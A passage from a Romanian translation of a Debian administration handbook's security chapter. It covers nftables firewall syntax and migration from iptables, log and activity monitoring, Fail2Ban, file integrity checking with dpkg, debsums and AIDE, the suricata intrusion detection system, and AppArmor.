Paravanul de protecție este configurat cu tables, care conțin ruesi conținute în chains. Spre deosebire de
iptables, nftables nu are nici un tabel implicit. Utilizatorul decide care și câte tabele să creeze. Fiecare tabel
trebuie să aibă doar una dintre următoarele cinci familii atribuite: ip, ip6, inet, arp și bridge. ip este
utilizat dacă familia nu este specificată.
Există două tipuri de lanțuri: base chains și regular chains. base chain este un punct de intrare pentru pachetele
din stiva de rețea, acestea sunt înregistrate în Netfilter hooks, adică. aceste lanțuri văd pachete care curg prin
stiva TCP/IP. Pe de altă parte, și un lanț obișnuit nu este atașat la niciun hook, așa că nu văd niciun trafic, dar
poate fi folosit ca jump target pentru o mai bună organizare.
Regulile sunt formate din declarații, care includ unele expresii care trebuie asortate și apoi o declarație de
verdict, cum ar fi accept, drop, queue, continue, return, jump chain and goto chain.

NOȚIUNI DE BAZĂ ICMP (Internet Control Message Protocol) este protocolul utilizat pentru a transmite informații complementare
ICMP despre comunicații. Permite testarea conectivității rețelei cu comanda ping (care trimite un mesaj ICMP echo
request, la care destinatarul este menit să răspundă cu un mesaj ICMP echo reply). Semnalizează unui firewall
care respinge un pachet, indică o revărsare într-un tampon de primire, propune o rută mai bună pentru pachetele
următoare în conexiune și așa mai departe. Acest protocol este definit prin mai multe documente RFC; RFC777
inițial și RFC792 au fost curând completate și extinse.
➨ http://www.faqs.org/rfcs/rfc777.html
➨ http://www.faqs.org/rfcs/rfc792.html
Ca informație, un buffer de recepție este o mică zonă de memorie care stochează date între momentul în care
ajunge din rețea și momentul în care nucleul îl gestionează. Dacă această zonă este plină, nu pot fi primite date
noi, iar ICMP semnalează problema, astfel încât emițătorul să își poată încetini rata de transfer (care, în mod
ideal, ar trebui să ajungă la un echilibru după ceva timp).
Rețineți că, deși o rețea IPv4 poate funcționa fără ICMP, ICMPv6 este strict necesar pentru o rețea IPv6,
deoarece combină mai multe funcții care, în sfera IPv4, erau răspândite pe ICMPv4, IGMP (Internet Group
Membership Protocol ) și ARP (Address Resolution Protocol). ICMPv6 este definit în RFC4443.
➨ http://www.faqs.org/rfcs/rfc4443.html

14.2.2. Trecerea de la iptables la nftables

Comenzile iptables-translate și ip6tables-translate pot fi folosite pentru a traduce comenzi
vechi iptables în noua sintaxă nftables. Seturi de reguli întregi pot fi, de asemenea, traduse, în acest caz,
migrăm regulile configurate într-un computer care are instalat Docker:

# iptables-save > iptables-ruleset.txt

# iptables-restore-translate -f iptables-ruleset.txt

# Translated by iptables-restore-translate v1.8.2 on Thu Jul 18 10:39:33 2019

add table ip filter
add chain ip filter INPUT { type filter hook input priority 0; policy accept; }
add chain ip filter FORWARD { type filter hook forward priority 0; policy drop; }
add chain ip filter OUTPUT { type filter hook output priority 0; policy accept; }
add chain ip filter DOCKER
add chain ip filter DOCKER-ISOLATION-STAGE-1
add chain ip filter DOCKER-ISOLATION-STAGE-2
add chain ip filter DOCKER-USER
add rule ip filter FORWARD counter jump DOCKER-USER
add rule ip filter FORWARD counter jump DOCKER-ISOLATION-STAGE-1
add rule ip filter FORWARD oifname "docker0" ct state related,established counter
⮩ accept
add rule ip filter FORWARD oifname "docker0" counter jump DOCKER
add rule ip filter FORWARD iifname "docker0" oifname != "docker0" counter accept
add rule ip filter FORWARD iifname "docker0" oifname "docker0" counter accept
add rule ip filter DOCKER-ISOLATION-STAGE-1 iifname "docker0" oifname != "docker0"
⮩ counter jump DOCKER-ISOLATION-STAGE-2
add rule ip filter DOCKER-ISOLATION-STAGE-1 counter return
add rule ip filter DOCKER-ISOLATION-STAGE-2 oifname "docker0" counter drop
add rule ip filter DOCKER-ISOLATION-STAGE-2 counter return
add rule ip filter DOCKER-USER counter return

308
add table ip nat
add chain ip nat PREROUTING { type nat hook prerouting priority -100; policy accept;
⮩ }
add chain ip nat INPUT { type nat hook input priority 100; policy accept; }
add chain ip nat POSTROUTING { type nat hook postrouting priority 100; policy accept;
⮩ }
add chain ip nat OUTPUT { type nat hook output priority -100; policy accept; }
add chain ip nat DOCKER
add rule ip nat PREROUTING fib daddr type local counter jump DOCKER
add rule ip nat POSTROUTING oifname != "docker0" ip saddr 172.17.0.0/16 counter
⮩ masquerade
add rule ip nat OUTPUT ip daddr != 127.0.0.0/8 fib daddr type local counter jump
⮩ DOCKER
add rule ip nat DOCKER iifname "docker0" counter return
# Completed on Thu Jul 18 10:39:33 2019
# iptables-restore-translate -f iptables-ruleset.txt > ruleset.nft
# nft -f ruleset.nft
# nft list ruleset
table ip filter {
chain INPUT {
type filter hook input priority 0; policy accept;
}

chain FORWARD {
type filter hook forward priority 0; policy drop;
counter packets 0 bytes 0 jump DOCKER-USER
counter packets 0 bytes 0 jump DOCKER-ISOLATION-STAGE-1
oifname "docker0" ct state related,established counter packets 0
⮩ bytes 0 accept
oifname "docker0" counter packets 0 bytes 0 jump DOCKER
iifname "docker0" oifname != "docker0" counter packets 0 bytes 0
⮩ accept
iifname "docker0" oifname "docker0" counter packets 0 bytes 0 accept
}

chain OUTPUT {
type filter hook output priority 0; policy accept;
}

chain DOCKER {
}

chain DOCKER-ISOLATION-STAGE-1 {
iifname "docker0" oifname != "docker0" counter packets 0 bytes 0 jump
⮩ DOCKER-ISOLATION-STAGE-2
counter packets 0 bytes 0 return
}

chain DOCKER-ISOLATION-STAGE-2 {
oifname "docker0" counter packets 0 bytes 0 drop
counter packets 0 bytes 0 return
}

chain DOCKER-USER {
counter packets 0 bytes 0 return
}
}
table ip nat {
chain PREROUTING {
type nat hook prerouting priority -100; policy accept;
fib daddr type local counter packets 0 bytes 0 jump DOCKER
}

chain INPUT {
type nat hook input priority 100; policy accept;
}

chain POSTROUTING {
type nat hook postrouting priority 100; policy accept;
oifname != "docker0" ip saddr 172.17.0.0/16 counter packets 0 bytes 0
⮩ masquerade
}

chain OUTPUT {
type nat hook output priority -100; policy accept;
ip daddr != 127.0.0.0/8 fib daddr type local counter packets 0 bytes 0
⮩ jump DOCKER

309
 }

chain DOCKER {
iifname "docker0" counter packets 0 bytes 0 return
}
}
table ip mangle {
chain PREROUTING {
type filter hook prerouting priority -150; policy accept;
}

chain INPUT {
type filter hook input priority -150; policy accept;
}

chain FORWARD {
type filter hook forward priority -150; policy accept;
}

chain OUTPUT {
type route hook output priority -150; policy accept;
}

chain POSTROUTING {
type filter hook postrouting priority -150; policy accept;
}
}

Instrumentele iptables-nft, ip6tables-nft, arptables-nft, ebtables-nft sunt versiuni ale

iptables care utilizează nftables API, astfel încât utilizatorii să poată utiliza în continuare vechea sintaxă
iptables, dar acest lucru nu este recomandat; aceste instrumente ar trebui utilizate numai pentru
compatibilitatea cu versiunile anterioare.

14.2.3. Sintaxa lui nft

Comenzile nft permit manipularea tabelelor, lanțurilor și regulilor. Opțiunea de table acceptă mai multe
operații: add, create, delete, list și flush. nft add table ip6 mangle adaugă un nou tabel din
familia ip6.
Pentru a insera un nou lanț de bază în filter table, puteți executa următoarea comandă (rețineți că punctul
și virgula (;) este salvat cu o bară inversă(\) atunci când utilizați Bash):

# nft add chain filter input { type filter hook input priority 0 \; }

Regulile sunt de obicei adăugate cu următoarea sintaxă: nft add rule [family] table chain
handle handle statement.
Similar cu comanda add, este insert , dar regula dată este precedată de începutul lanțului sau înainte de
regula cu mânerul dat în loc de la sfârșitul sau după regula respectivă. De exemplu, următoarea comandă
inserează o regulă înaintea regulii cu numărul de handler 8:

# nft insert rule filter output position 8 ip daddr 127.0.0.8 drop

Comenzile nft executate nu fac modificări permanente în configurație, deci sunt pierdute dacă nu sunt
salvate. Regulile firewall-ului se află în /etc/nftables.conf. O modalitate simplă de a salva permanent
configurația curentă a firewall-ului este să executați setul de reguli nft list > /etc/nftables.conf ca
root.
nft permite mai multe operații, consultați pagina manuală nft(8) pentru mai multe informații.

14.2.4. Instalarea regulilor la fiecare boot

Pentru a activa un firewall implicit în Debian, trebuie să stocați regulile în /etc/nftables.conf și să
executați systemctl enable nftables.service ca root. Puteți opri paravanul de protecție care
execută setul de reguli nft flush ca root.
În alte cazuri, modul recomandat este de a înregistra scriptul de configurare în directiva up a fișierului /etc/
network/interfaces. În exemplul următor, scriptul este stocat sub /usr/local/etc/arrakis.fw.

310
 Exemplul 14.1 Fișierul interfaces apelând firewall script

auto eth0
iface eth0 inet static
address 192.168.0.1
network 192.168.0.0
netmask 255.255.255.0
broadcast 192.168.0.255
up /usr/local/etc/arrakis.fw

Aceasta presupune în mod evident că utilizați ifupdown pentru a configura network interfaces. Dacă utilizați
altceva (cum ar fi NetworkManager sau systemd-networkd), consultați documentația respectivă pentru a afla
modalități de a executa un script după ce interfața a fost lansată.

14.3. Supravegherea: prevenire, detectare, determinare

Monitorizarea este o parte integrantă a oricărei politici de securitate din mai multe motive.
Printre acestea, faptul că obiectivul securității nu este, de obicei, limitat la garantarea confidențialității datelor,
dar include și asigurarea disponibilității serviciilor. Prin urmare, este imperativ să verificăm dacă totul
funcționează așa cum este de așteptat și să detectăm în timp util orice comportament deviant sau o
modificare a calității serviciului (serviciilor) prestate. Activitatea de monitorizare poate ajuta la detectarea
încercărilor de intruziune și poate permite o reacție rapidă înainte de a determina consecințe grave. Această
secțiune examinează câteva instrumente care pot fi utilizate pentru a monitoriza mai multe aspecte ale unui
sistem Debian. Ca atare, aceasta completează secțiunea 12.4. “Monitorizarea” pagina 283.

14.3.1. Monitorizarea jurnalelor cu logcheck

Programul logcheck monitorizează fișierele jurnal în fiecare oră în mod implicit. Acesta trimite mesaje de
jurnal neobișnuite în e-mail-uri către administrator pentru analize suplimentare.
Lista fișierelor monitorizate este stocată în /etc/logcheck/logcheck.logfiles; valorile implicite
funcționează bine dacă fișierul /etc/rsyslog.conf nu a fost complet revizuit.
logcheck poate funcționa într-unul din trei moduri mai mult sau mai puțin detaliate: paranoid, server și
workstation. Prima dintre ele este foarte verbală și ar trebui probabil să fie limitată la server-e specifice, cum ar
fi firewall-uri. Al doilea mod (și implicit) este recomandat pentru majoritatea server-elor. Ultima este concepută
pentru stațiile de lucru și este chiar mai redusă (filtrează mai multe mesaje).
În toate cele trei cazuri, logcheck ar trebui probabil să fie personalizat pentru a exclude unele mesaje
suplimentare (în funcție de serviciile instalate), cu excepția cazului în care administratorul dorește cu
adevărat să primească loturi orare de e-mail-uri lungi neinteresante. Deoarece mecanismul de selecție a
mesajelor este destul de complex, /usr/share/doc/logcheck-database/README.logcheck-
database.gz este necesar, dacă este provocator, să fie citit.
Normele aplicate pot fi împărțite în mai multe tipuri:
• cele care califică un mesaj ca încercare de spargere (cracking- stocate într-un fișier din directorul
/etc/logcheck/cracking.d/);
• cele care anulează o astfel de calificare (/etc/logcheck/cracking.ignore.d/);
• cele care clasifică un mesaj ca alertă de securitate (/etc/logcheck/violations.d/);
• cele care anulează această clasificare (/etc/logcheck/violations.ignore.d/);
• în final, cele care se aplică la mesajele rămase (considerate evenimente de sistem).

PRUDENȚĂ Orice mesaj etichetat ca o tentativă de spargere sau o alertă de securitate (după o regulă stocată într-un fișier
Ignorarea unui mesaj /etc/logcheck/violations.d/myfile) poate fi ignorat doar printr-o regulă dintr-un fișier
/etc/logcheck/violations.ignore.d/myfile sau
/etc/logcheck/violations.ignore.d/myfile-extension.

Un eveniment de sistem este semnalat întotdeauna, cu excepția cazului în care o regulă dintr-unul dintre
directoarele /etc/logcheck/ignore.d.{paranoid,server,workstation}/ prevede că
evenimentul ar trebui ignorat. Desigur, singurele directoare luate în considerare sunt cele corespunzătoare
nivelurilor de verbalitate egale sau mai mari decât modul de operare selectat.

311
14.3.2. Monitorizarea activității
14.3.2.1. În timp real
Instrumentul interactiv top este cel care afișează o listă de procese în curs de desfășurare. Sortarea
implicită se bazează pe cantitatea curentă de utilizare a procesorului și poate fi obținută cu tasta P. Alte
comenzi de sortare includ o sortare după memoria ocupată (tasta M), după timpul total al procesorului (tasta
T) și după identificatorul procesului (tasta N)). Tasta k permite uciderea unui proces prin introducerea
identificatorului său de proces. Tasta r permite renicing (reinvocarea) unui proces, adică schimbarea priorității
sale.
Când sistemul pare a fi supraîncărcat, top este un instrument excelent pentru a vedea ce procese
concurează pentru timpul procesorului sau consumă prea multă memorie. În special, este adesea interesant
să verificăm dacă procesele care consumă resurse se potrivesc cu serviciile reale pe care mașina este
cunoscută să le găzduiască. Un proces necunoscut care rulează ca utilizator www-data ar trebui să iasă în
evidență și să fie cercetat, deoarece este probabil o instanță a software-ului instalat și executat pe sistem
printr-o vulnerabilitate într-o aplicație web.
Instrumentul top este foarte flexibil, iar pagina sa de manual oferă detalii despre modul de a-și personaliza
afișarea și de a-l adapta la nevoile și conduitei personale.
Instrumentul grafic gnome-system-monitor este similar cu top și oferă aproximativ aceleași
caracteristici.

14.3.2.2. Istoricul
Încărcarea procesorului, traficul de rețea și spațiul liber al discului sunt informații care variază constant.
Păstrarea unui istoric al evoluției lor este adesea utilă pentru a determina exact modul în care este folosit
computerul.
Există multe instrumente pentru această sarcină. Multe prelua date prin SNMP (Simple Network Management
Protocol) pentru a centraliza aceste informații. Un avantaj suplimentar este că acest lucru permite preluarea
datelor de la elemente de rețea care s-ar putea nu fie fi computere cu scop general (general-purpose
computers), cum ar fi router-ele de rețea sau switch-uri dedicate.
Această carte tratează Munin în unele detalii (a se vedea secțiunea 12.4.1. “Configurarea Munin” pagina 283) ca
parte din capitolul 12. “Administrare avansată” pagina 253. Debian oferă de asemenea un instrument similar, cacti.
Desfășurarea sa este puțin mai complexă, deoarece se bazează exclusiv pe SNMP. În ciuda existenței unei
interfețe web, înțelegerea conceptelor implicate în configurare necesită totuși un efort. Citirea documentației
HTML (/usr/share/doc/cacti/html/Table-of-Content.html) ar trebui considerată o condiție
prealabilă.

ALTERNATIVĂ mrtg (în pachetul numit în mod similar) este un instrument mai vechi. Cu toate că mai trebuie cizelat, poate
mrtg agrega date istorice și le poate afișa ca grafice. Acesta include o serie de scripturi dedicate colectării datelor cel
mai frecvent monitorizate, cum ar fi încărcarea procesorului, traficul de rețea, accesările pe pagini web și așa
mai departe.
Pachetele mrtg-contrib și mrtgutils conțin exemple de scripturi care pot fi utilizate direct.

14.3.3. Evitarea intruziunilor

Atacatorii încearcă să obțină acces la server-e ghicind parole, motiv pentru care trebuie folosite întotdeauna
parole puternice. Chiar și atunci, ar trebui să stabiliți și măsuri împotriva atacurilor cu forță brută. Un atac cu
forță brută este o încercare de a vă conecta la un sistem software neautorizat efectuând mai multe încercări
de conectare într-o perioadă scurtă de timp.
Cel mai bun mod de a opri un atac de forță brută este de a limita numărul de încercări de conectare
provenind din aceeași origine, de obicei prin interzicerea temporară a unei adrese IP.
Fail2Ban este o suită de software de prevenire a intruziunilor care poate fi configurată pentru a monitoriza
orice serviciu care scrie tentative de conectare într-un fișier jurnal. Poate fi găsit în pachetul fail2ban.

312
Fail2Ban este configurat printr-un protocol simplu de fail2ban-client, care citește și fișiere de
configurare și emite comenzi de configurare corespunzătoare către server, fail2ban-server. Are patru
tipuri de fișiere de configurare, toate stocate în /etc/fail2ban:
• fail2ban.conf. Configurare globală (cum ar fi jurnalizarea).
• filter.d /*.conf. Filtre care specifică modul de detectare a erorilor de autentificare. Pachetul
Debian conține deja filtre pentru multe programe obișnuite.
• action.d/*.conf. Acțiuni care definesc comenzile pentru interzicerea și neinterzicerea adreselor
IP.
• jail.conf. Aici sunt definite închisorile, combinațiile de filtre și acțiuni.
Să aruncăm o privire asupra configurației sshd în /etc/fail2ban/jail.conf pentru a înțelege mai bine
cum funcționează Fail2Ban ...

[...]
[DEFAULT]
[...]
bantime = 10m
[...]
maxretry = 5
[...]
[sshd]
port = ssh
logpath = %(sshd_log)s
backend = %(sshd_backend)s

Fail2Ban va verifica accesurile de conectare eșuate pentru sshd folosind expresii regulate Python definite în
/etc/fail2ban/filters.d/sshd.conf împotriva fișierului jurnal al sshd, care este definit în variabila
sshd_log din fișierul /etc/fail2ban/Paths_common.conf. Dacă Fail2Ban detectează cinci încercări
nereușite de conectare la rând, va interzice adresa IP de la care au apărut aceste încercări.
Fail2Ban este un mod foarte simplu și eficient de a proteja împotriva celor mai frecvente atacuri de forță
brută, dar nu poate proteja împotriva atacurilor distribuite de forță brută, care este atunci când un atacator
folosește un număr mare de mașini răspândite pe internet.
O modalitate bună de a oferi o protecție suplimentară împotriva atacurilor distribuite de forță brută este
creșterea artificială a timpului de conectare după fiecare încercare eșuată.

14.3.4. Detectarea schimbărilor

Odată ce sistemul este instalat și configurat și exceptând actualizările de securitate, nu există de obicei un
motiv pentru care majoritatea fișierelor și directoarelor să evolueze, cu excepția datelor. Prin urmare, este
interesant să vă asigurați că fișierele nu se schimbă de fapt: orice schimbare neașteptată ar fi, așadar,
demnă de investigat. Această secțiune prezintă câteva instrumente capabile să monitorizeze fișierele și să
avertizeze administratorul atunci când apare o modificare neașteptată (sau pur și simplu enumeră astfel de
modificări).

14.3.4.1. Auditarea pachetelor cu dpkg –verify

ÎN DETALIU dpkg --verify este util în detectarea modificărilor la fișierele care provin dintr-un pachet Debian, dar va fi
Protejarea la schimbărilor din inutil dacă pachetul în sine este compromis, de exemplu dacă oglinda Debian este compromisă. Protejarea
upstream împotriva acestei clase de atacuri implică utilizarea sistemului de verificare a semnăturilor digitale APT (a se
vedea secțiunea 6.6. “Verificarea autenticității pachetului” pagina 113) și să avem grijă să instalăm doar pachete cu
o origine certificată.

Un instrument interesant este dpkg --verify (sau dpkg -V), deoarece permite găsirea fișierelor instalate
care au fost modificate (potențial de către un atacator), dar acest lucru ar trebui luat cu rezerve. Pentru a-și
face treaba, se bazează pe checksum, sumele de verificare stocate în baza de date a dpkg, care este stocată
pe hard disk (ele pot fi găsite în /var/lib/dpkg/info/package.md5sums); prin urmare, un atacator
meticulos va actualiza aceste fișiere, astfel încât să conțină noile sume de verificare pentru fișierele
subminate.

313
 NOȚIUNI DE BAZĂ Să ne reamintim: o amprentă este o valoare, adesea un număr (chiar dacă în notație hexazecimală), care conține
Amprenta fișierului un fel de semnătură pentru conținutul unui fișier. Această semnătură este calculată cu un algoritm (MD5 sau
SHA1 fiind exemple cunoscute) care garantează mai mult sau mai puțin că și cea mai mică modificare a
conținutului fișierului implică o modificare a amprentei; acesta este cunoscut sub numele de “efectul avalanșei”.
Aceasta permite ca o amprentă simplă numerică să servească drept test turnesol pentru a verifica dacă conținutul
unui fișier a fost modificat. Acești algoritmi nu sunt reversibili; cu alte cuvinte, pentru cei mai mulți dintre ei,
cunoașterea unei amprente nu permite găsirea conținutului corespunzător. Progresele matematice recente par să
slăbească absența acestor principii, dar utilizarea lor nu este pusă în discuție până acum, deoarece crearea de
conținuturi diferite care să ofere aceeași amprentă pare să fie încă o sarcină destul de dificilă.

Rularea dpkg -V va verifica toate pachetele instalate și va imprima o linie pentru fiecare fișier cu un test
eșuat. Formatul de ieșire este același cu cel al rpm -V unde fiecare caracter denotă un test pe anumite
meta-date. Din păcate, dpkg nu stochează meta-datele necesare pentru cele mai multe teste și va produce
astfel semne de întrebare pentru acestea. În prezent, doar testul de control poate genera un ”5” pe cel de-al
treilea caracter (atunci când eșuează).

# dpkg -V
??5?????? /lib/systemd/system/ssh.service
??5?????? c /etc/libvirt/qemu/networks/default.xml
??5?????? c /etc/lvm/lvm.conf
??5?????? c /etc/salt/roster

În exemplul de mai sus, dpkg raportează o modificare în fișierul serviciului SSH pe care administratorul a
făcut-o fișierului împachetat în loc să utilizeze o înlocuire adecvată
/etc/systemd/system/ssh.service (care ar fi stocată în /etc, cum ar trebui să fie orice modificare de
configurare). De asemenea, listează mai multe fișiere de configurare (identificate prin litera ”c” din cel de-al
doilea câmp) care au fost modificate în mod legitim.

14.3.4.2. Pachetele de audit: debsums și limitele sale

Strămoș al lui dpkg -V, debsums este, prin urmare,în cea mai mare parte învechit. Suferă de aceleași
limitări ca dpkg. Din fericire, unele dintre limitări pot fi rezolvate (în timp ce dpkg nu oferă medii de lucru
similare).
Deoarece datele de pe disc nu pot fi de încredere, debsums se oferă să-și facă verificările sale bazate pe
fișierele .deb în loc să se bazeze pe baza de date dpkg. Pentru descărcarea fișierele .deb de încredere ale
tuturor pachetelor instalate, ne putem baza pe descărcările autentificate ale APT. Această operație poate fi
lentă și obositoare și prin urmare, nu ar trebui considerată o tehnică eficace (proactivă) care trebuie utilizată
în mod regulat.

# apt-get --reinstall -d install `grep-status -e 'Status: install ok installed' -n -s

⮩ Package`
[ ... ]
# debsums -p /var/cache/apt/archives --generate=all

Rețineți că acest exemplu folosește comanda grep-status din pachetul dctrl-tools, care nu este instalat
implicit.
debsums pot fi rulate frecvent ca setare cronjob, CRON_CHECK în /etc/default/debsums. Pentru a
ignora anumite fișiere din afara directorului /etc, care au fost modificate intenționat, sau care se așteaptă
să se schimbe (cum ar fi /usr/share/misc/pci.ids) le puteți adăuga în /etc/debsums-ignore.

14.3.4.3. Fișiere de monitorizare: AIDE

Instrumentul AIDE (Advanced Intrusion Detection Environment – Mediul avansat de detectare a intruziunilor)
permite verificarea integrității fișierului și detectarea oricărei modificări împotriva unei imagini înregistrate
anterior a sistemului valid. Această imagine este stocată ca o bază de date (/var/lib/aide/aide.db)
conținând informațiile relevante despre toate fișierele sistemului (amprente digitale, permisiuni, marcaje de
timp (timestamps) etc.). Această bază de date este inițializată mai întâi cu aideinit; apoi este folosit zilnic
(de scriptul /etc/cron.daily/aide) pentru a verifica dacă nu s-a schimbat nimic relevant. Când sunt
detectate modificări, AIDE le înregistrează în fișierele jurnal (/var/log/aide/*.log) și trimite concluziile
către administrator prin e-mail.

314
 ÎN PRACTICĂ Deoarece AIDE folosește o bază de date locală pentru a compara stările fișierelor, validitatea rezultatelor sale
Protejarea bazei de date este direct legată de validitatea bazei de date. Dacă un atacator primește permisiuni root pe un sistem
compromis, va putea înlocui baza de date și își va acoperi urmele. O posibilă soluție ar fi stocarea datelor de
referință pe suporturile de stocare doar-citire.

Multe opțiuni din /etc/default/aide pot fi utilizate pentru a regla comportamentul pachetului aide.
Configurația AIDE corespunzătoare este stocată în /etc/aide/aide.conf și
/etc/aide/aide.conf.d/ (de fapt, aceste fișiere sunt folosite doar de update-aide.conf pentru a
genera /var/lib/aide/aide.conf.autogenerated). Configurația indică ce proprietăți și din ce fișiere
trebuie verificate. De exemplu, conținutul fișierelor jurnal se modifică în mod obișnuit și astfel de modificări
pot fi ignorate atât timp cât permisiunile acestor fișiere rămân aceleași, dar atât conținutul cât și permisiunile
programelor executabile trebuie să fie constante. Deși nu este foarte complexă, sintaxa de configurare nu
este pe deplin intuitivă și prin urmare, este recomandată citirea paginii de manual aide.conf(5).
O nouă versiune a bazei de date este generată zilnic în /var/lib/aide/aide.db.new; dacă toate
modificările înregistrate au fost legitime, acesta poate fi utilizat pentru a înlocui baza de date de referință.

ALTERNATIVĂ Tripwire este foarte similar cu AIDE; chiar și sintaxa fișierului de configurare este aproape aceeași. Adăugarea
Tripwire și Samhain principală oferită de tripwire este un mecanism de semnare a fișierului de configurare, astfel încât un atacator nu
poate face acest lucru la o versiune diferită a bazei de date de referință.
Samhain oferă, de asemenea, caracteristici similare, precum și unele funcții care ajută la detectarea rootkit-urilor
(consultați bara laterală “Pachetele checksecurity și chkrootkit/rkhunter” pagina 315). Poate fi, de asemenea,
implementat la nivel global într-o rețea și iși înregistrează urmele pe un server central (cu o semnătură).

O PRIVIRE RAPIDĂ Primul dintre aceste pachete conține mai multe scripturi mici care efectuează verificări de bază pe sistem (parole
Pachetele checksecurity și goale, noi fișiere setuid etc.) și avertizând administratorul, dacă este necesar. În ciuda numelui său explicit, un
chkrootkit/rkhunter administrator nu ar trebui să se bazeze doar pe acesta pentru a se asigura că un sistem Linux este sigur.
Pachetele chkrootkit și rkhunter permit căutarea de rootkits potențial instalate pe sistem. Să ne amintim că
acestea sunt piese de software concepute pentru a ascunde compromiterea unui sistem, păstrând discret controlul
asupra mașinii. Testele nu sunt 100% fiabile, dar de obicei pot atrage atenția administratorului asupra
problemelor potențiale.
rkhunter efectuează, de asemenea, verificări pentru a vedea dacă comenzile au fost modificate, dacă fișierele de
pornire a sistemului au fost modificate și diverse verificări ale interfețelor de rețea, inclusiv verificări pentru
aplicațiile de ascultare.

14.3.5. Detectarea intruziunilor (IDS/NIDS)

NOȚIUNI DE BAZĂ Un atac “refuz de serviciu” (“denial of service”) are un singur obiectiv: de a face un serviciu indisponibil. Fie că
Refuzarea serviciului un astfel de atac implică supraîncărcarea server-ului cu interogări sau exploatarea unei erori, rezultatul final este
același: serviciul nu mai este operațional. Utilizatorii obișnuiți sunt nemulțumiți, iar entitatea care găzduiește
serviciul de rețea vizat suferă o pierdere în reputație (și, eventual, în venituri, de exemplu dacă serviciul a fost un
sit de comerț electronic).
Un astfel de atac este uneori “distribuit”; aceasta implică de obicei supraîncărcarea server-ului cu un număr
mare de interogări provenite din mai multe surse diferite, astfel încât server-ul să nu poată răspunde la întrebările
legitime. Aceste tipuri de atacuri au căpătat acronime binecunoscute: DDoS și DoS (în funcție de faptul că atacul
“refuz al serviciului”, distribuit sau nu).

suricata (în pachetul Debian cu același nume) este un NIDS — Network Intrusion Detection System (Sistem
de detectare a intruziunilor de rețea). Funcția sa este de a asculta rețeaua și de a încerca să detecteze
încercări de infiltrare și/sau acte ostile (inclusiv atacuri de refuz de serviciu). Toate aceste evenimente sunt
înregistrate în mai multe fișiere din /var/log/suricata. Există instrumente terțe (Kibana/logstash) pentru a
răsfoi mai bine toate datele colectate.
➨ http://suricata-ids.org
➨ https://www.elastic.co/products/kibana

PRUDENȚĂ Eficacitatea comenzii suricata este limitată de traficul văzut pe interfața de rețea monitorizată. În mod
Raza de acțiune evident, nu va putea detecta nimic dacă nu poate observa traficul real. Când este conectat la un comutator de
rețea, acesta va monitoriza doar atacurile care vizează mașina pe care rulează, ceea ce probabil nu aceasta este
intenția. Așadar, mașina care găzduiește suricata ar trebui să fie conectată la portul “oglindă” al
comutatorului, care este de obicei dedicat înlănțuirii switch-urilor și prin urmare primește tot traficul.

Configurarea suricata presupune revizuirea și editarea /etc/suricata/suricata-debian.yaml,

ceea ce este foarte lung, deoarece fiecare parametru este comentat din abundență. O configurație minimă

315
necesită descrierea gamei de adrese pe care o acoperă rețeaua locală (parametrul HOME_NET). În practică,
aceasta înseamnă ansamblul tuturor obiectivelor potențiale de atac. Pentru a obține maximum este necesar
să-l citiți integral și să-l adaptați la situația locală.
Pe deasupra, iarăși ar trebui să editați /etc/default/suricata pentru a defini interfața de rețea și
pentru a monitoriza și a activa scriptul init (prin setarea RUN=yes). De asemenea, poate doriți să setați
LISTENMODE=pcap deoarece implicit LISTENMODE=nfqueue necesită configurare suplimentară pentru a
funcționa corect (netfilter firewall trebuie configurat pentru a trece pachetele într-un spațiu de utilizator coada
administrată de suricata prin ținta NFQUEUE).
Pentru a detecta un comportament rău, suricata are nevoie de un set de reguli de monitorizare: puteți
găsi astfel de reguli în pachetul snort-rules-default. snort este referința istorică din ecosistemul IDS și
suricata este în măsură să refolosească regulile scrise pentru aceasta.
Altfel, oinkmaster (în pachetul cu același nume) poate fi utilizat pentru a descărca seturile de reguli Snort
din surse externe.

ÎN DETALIU Prelude aduce monitorizare centralizată a informațiilor de securitate. Arhitectura sa modulară include un server
Integrarea cu prelude (manager in prelude-manager) care adună alerte, de la diverse tipuri de senzori, generate de sensors.
Suricata poate fi configurat ca un astfel de senzor. Alte posibilități includ prelude-lml (Log Monitor Lackey –
Monitorul Jurnalelor Lackey) care monitorizează fișierele jurnal (într-un mod similar cu logcheck, descris în
secțiunea 14.3.1. “Monitorizarea jurnalelor cu logcheck” pagina 311).

14.4. Introducere în AppArmor

14.4.1. Principii
AppArmor este un sistem Mandatory Access Control (MAC) – Controlul accesului obligatoriu, construit pe
interfața LSM (Linux Security Modules – Module de securitate Linux). În practică, kernel-ul interoghează
AppArmor înainte de fiecare apel al sistemului pentru a ști dacă procesul este autorizat să efectueze
operațiunea dată. Prin acest mecanism, AppArmor limitează programele la un set limitat de resurse.
AppArmor aplică un set de reguli (cunoscut sub numele de “profile”) pentru fiecare program.
Profilul aplicat de kernel depinde de calea de instalare a programului care este executat. Contrar SELinux
(discutat în secțiunea 14.5. “Introducere în SELinux” pagina 321), regulile aplicate nu depind de utilizator. Toți
utilizatorii se confruntă cu același set de reguli atunci când execută același program (dar permisiunile
tradiționale ale utilizatorilor încă se aplică și ar putea duce la un comportament diferit!).
Profilurile AppArmor sunt stocate în /etc/apparmor.d/ și conțin o listă de reguli de control al accesului
asupra resurselor de care poate folosi fiecare program. Profilele sunt compilate și încărcate în kernel prin
comanda apparmor_parser. Fiecare profile poate fi încărcat fie în modul enforcing sau complaining. Primul
aplică politica și raportează încercările de încălcare, în timp ce cel de-al doilea nu aplică politica, dar
înregistrează în continuare apelurile de sistem care ar fi fost refuzate.

14.4.2. Activarea AppArmor și gestionarea profilurilor AppArmor

Suportul AppArmor este încorporat în nucleele standard furnizate de Debian. Activarea AppArmor este doar o
problemă de instalare a câtorva pachete, executând apt install apparmor apparmor-profiles
apparmor-utils.
AppArmor este funcțional după instalare și aa-status o va confirma rapid:
# aa-status
apparmor module is loaded.
40 profiles are loaded.
23 profiles are in enforce mode.
/usr/bin/evince
/usr/bin/evince-previewer
[...]
17 profiles are in complain mode.
/usr/sbin/dnsmasq
[...]
14 processes have profiles defined.
12 processes are in enforce mode.
/usr/bin/evince (3462)

316
[...]
2 processes are in complain mode.
/usr/sbin/avahi-daemon (429) avahi-daemon
/usr/sbin/avahi-daemon (511) avahi-daemon
0 processes are unconfined but have a profile defined.

REȚINEȚI Pachetul apparmor-profiles conține profiluri gestionate de comunitatea AppArmor din amonte. Pentru a obține și
Mai multe profiluri AppArmor mai multe profiluri, puteți instala apparmor-profiles-extra care conține profiluri dezvoltate de Ubuntu și Debian.

Starea fiecărui profil poate fi schimbată, între modul imperativ sau enforcing sau complaining, cu apeluri la
